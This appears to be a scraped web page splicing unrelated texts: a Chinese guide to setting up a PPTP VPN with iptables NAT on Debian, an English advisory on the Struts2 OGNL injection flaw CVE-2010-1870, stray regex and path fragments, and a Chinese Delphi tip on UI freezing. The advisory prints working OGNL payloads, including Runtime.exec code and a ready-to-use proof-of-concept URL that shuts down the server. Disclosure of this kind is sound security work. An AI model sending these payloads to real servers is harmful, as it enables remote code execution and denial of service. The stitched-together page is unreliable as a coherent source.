今天我们的目的是在自己的debian系统上构造一个VPN系统,废话不多说,下面开始配置系统.

首先我们编辑/etc/network/interfaces,为系统新增一个虚拟网卡,加上如下部分

view sourceprint?1 auto eth0:0

2 iface eth0:0 inet static

3 address 192.168.10.1

4 netmask 255.255.255.0

5 broadcast 192.168.10.255

保存之后我们运行/etc/init.d/networking restart如果没有错误,说明虚拟网卡新增成功,这个时候,我们如果运行ifconfig,应该会看到如下信息:

view sourceprint?1 eth0:0 Link encap:Ethernet HWaddr xx:xx:xx:xx:xx:xx

2 inet addr:192.168.10.1 Bcast:192.168.10.255 Mask:255.255.255.0

3 UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1

下面我们继续编辑文件/etc/network/if-up.d/iptables(如果不存在,新建即可),将其内容修改为:

view sourceprint?01 #! /bin/sh

02 # External Interface , Public Interface

03 EXTIF=”eth0″

04 # Internal Interface, Private Interface

05 INIF=”eth0:0″

06 # Internal Network

07 INNET=”192.168.10.0/24″

08 # Enable IP forwarding

09 echo 1 > /proc/sys/net/ipv4/ip_forward

10 # Flush all rules.

11 iptables -F

12 iptables -t nat -F

13 # Set up NAT.

14 iptables -t nat -A POSTROUTING -s $INNET -o $EXTIF -j MASQUERADE

15 # for MSN

16 iptables -A FORWARD -o $EXTIF -p tcp -m tcp –tcp-flags SYN,RST SYN -m tcpmss –mss 1400:1536 -j TCPMSS –clamp-mss-to-pmtu

如果是新建该文件,别忘了给其加上执行权限:

view sourceprint?1 chmod +x /etc/network/if-up.d/iptables

继续重启网络,运行/etc/init.d/networking restart,如果没有错误,恭喜,nat部分的配置完成.如果有错误,请详细检查以上步骤,找出错误,直到该命令成功执行即可.

下面开始配置PPTP,在debian下,我们直接通过执行apt-get install pptpd即可安装pptp.然后我们需要进行一些设置.

首先修改/etc/ppp/pptpd-options,如果过滤掉繁杂的注释,最终的配置文件如下所示:

view sourceprint?01 name pptpd

02 refuse-pap

03 refuse-chap

04 refuse-mschap

05 require-mschap-v2

06 require-mppe-128

07 proxyarp

08 lock

09 nobsdcomp

10 novj

11 novjccomp

12 nologfd

13 ms-dns 8.8.8.8

14 ms-dns 8.8.4.4

在本配置文件中使用了google的免费公众dns系统,当然,最佳情况,你应该配置为当前主机的dns系统.

然后我们继续修改文件/etc/pptpd.conf,如果过滤掉繁杂的注释,最终的配置文件如下所示:

view sourceprint?1 option /etc/ppp/pptpd-options

2 logwtmp

3 localip 192.168.10.1

4 remoteip 192.168.10.10-255

在此处,我们将vpn主机的ip设置为192.168.10.1,客户端可分配ip范围是192.168.1.10-255,这部分需要和nat设置部分的ip严格对应,如果您设置的是其它ip端请注意核对.

最后,我们需要修改文件/etc/ppp/chap-secrets来新建vpn用户,比如我们新建一个用户名为leven,密码为levenvpn的用户,如下:

view sourceprint?1 leven pptpd levenvpn *

到此为止,vpn系统配置完毕,如果要新增其它用户,按照上面的格式继续修改/etc/ppp/chap-secrets即可.

如果有部分机器在客户端连接vpn的时候报619错误,可以尝试下面的命令:

view sourceprint?1 mknod /dev/ppp c 108 0

这样一般就成功配置一个基于pptp的vpn主机啦.祝你好运

Apache Struts team has announced uploaded but has not released, due to an unreasonably prolonged voting process, the 2.2.0 release of the Struts2 web framework which fixes vulnerability that I’ve reported to them on May 31st 2010. Apache Struts team is ridiculously slow in releasing the fixed version and all of my attempts to expedite the process have failed.

Introduction
Struts2 is Struts + WebWork. WebWork in turn uses XWork to invoke actions and call appropriate setters/getters based on HTTP parameter names, which is achieved by treating each HTTP parameter name as an OGNL statement. OGNL (Object Graph Navigation Language) is what turns:

user.address.city=Bishkek&user['favoriteDrink']=kumys

into

action.getUser().getAddress().setCity(“Bishkek”)
action.getUser().setFavoriteDrink(“kumys”)

This is performed by the ParametersInterceptor, which calls ValueStack.setValue() with user-supplied HTTP parameters as arguments.
NOTE: If you are using XWork’s ParametersInterceptor or operate with OGNL ValueStack in a similar way then you are vulnerable (ParametersInterceptor is on by default in struts-default.xml).

In addition to property getting/setting, OGNL supports many more features:

* Method calling: foo()
* Static method calling: @java.lang.System@exit(1)
* Constructor calling: new MyClass()
* Ability to work with context variables: #foo = new MyClass()
* And more…

Since HTTP parameter names are OGNL statements, to prevent an attacker from calling arbitrary methods via HTTP parameters XWork has the following two variables guarding methods execution:

* OgnlContext’s property ‘xwork.MethodAccessor.denyMethodExecution’ (set to true by default)
* SecurityMemberAccess private field called ‘allowStaticMethodAccess’ (set to false by default)

OGNL Context variables
To make it easier for developer to access various frequently needed objects XWork provides several predefined context variables:

* #application
* #session
* #request
* #parameters
* #attr

These variables represent various server-side objects, such as session map. To prevent attackers from tampering with server-side objects XWork’s ParametersInterceptor disallowed # in parameter names. About a year ago I found a way to bypass that protection(XW-641) using Java’s unicode String representation: \u0023. At the time I felt like the fix that was implemented (OGNL value stack clearing) was insufficient, but had not time to investigate this further.

CVE-2010-1870
Earlier this year I finally got a chance to look at this again and found that in addition to the above mentioned context variables there were more:

* #context – OgnlContext, the one guarding method execution based on ‘xwork.MethodAccessor.denyMethodExecution’ property value.
* #_memberAccess – SecurityMemberAccess, whose ‘allowStaticAccess’ field prevented static method execution.
* #root
* #this
* #_typeResolver
* #_classResolver
* #_traceEvaluations
* #_lastEvaluation
* #_keepLastEvaluation

You can probably see the problem already. Using XW-641 trick I was able to modify the values that were guarding Java methods execution and run arbitrary Java code:

#_memberAccess['allowStaticMethodAccess'] = true
#foo = new java .lang.Boolean(“false”)
#context['xwork.MethodAccessor.denyMethodExecution'] = #foo
#rt = @java.lang.Runtime@getRuntime()
#rt.exec(‘mkdir /tmp/PWNED’)

Actual proof of concept had to use OGNL’s expression evaluation when crafting HTTP request. PoC for this bug will be published on July 12 2010. To test whether your application is vulnerable you can use the following proof of concept, which will call java.lang.Runtime.getRuntime().exit(1):

http://mydomain/MyStruts.action?(‘\u0023_memberAccess[\'allowStaticMethodAccess\']‘)(meh)=true&(aaa)((‘\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003d\u0023foo’)(\u0023foo\u003dnew%20java.lang.Boolean(“false”)))&(asdf)((‘\u0023rt.exit(1)’)(\u0023rt\u003d@java.lang.Runtime@getRuntime()))=1

Fixing CVE-2010-1870
Struts2 users must upgrade to the 2.2.0, which whitelists a set of characters that excludes characters required to exploit this vulnerability.

In cases where upgrade isn’t possible you can use ParameterInterceptor’s “excludeParams” parameter to whitelist the characters required for your application to operate correctly(usually A-z0-9_.’”[]) alternatively you can blacklist \()@ which are the characters required to exploit this bug.

Timeline
May 31st – email to security@struts.apache.org with vulnerability report.
June 4th – no response received, contacted developers again.
June 5th – had to find an XWork developer on IRC to look at this.
June 16th – Atlassian fixes vulnerability in its products. Atlassian and Struts developers worked together in coming up with the fix.
June 20th – 1-line fix commited
June 29th – Struts 2.2.0 release voting process started and is still going…

 .*\\u0023.*
/example/HelloWorld.jsp

解决方法有两个：

1. 把对IdHttp的处理，放入线程内。搞个线程也很简单，就是一旦数据交互起来，麻烦一些。

2. 好久没用delphi了，不想写太复杂的代码了，这个简单的应用里，只要界面不僵死就可以了。所以不想用线程。第二个方法就是，往界面里放入一个TIdAntiFreeze控件，(真怀念delphi的方便)。不要高兴的太早，可能界面还是动不了的。因为默认情况下idAntiFreeze的OnlyWhenIdle属性是true，改为false,才会真正的antiFreeze。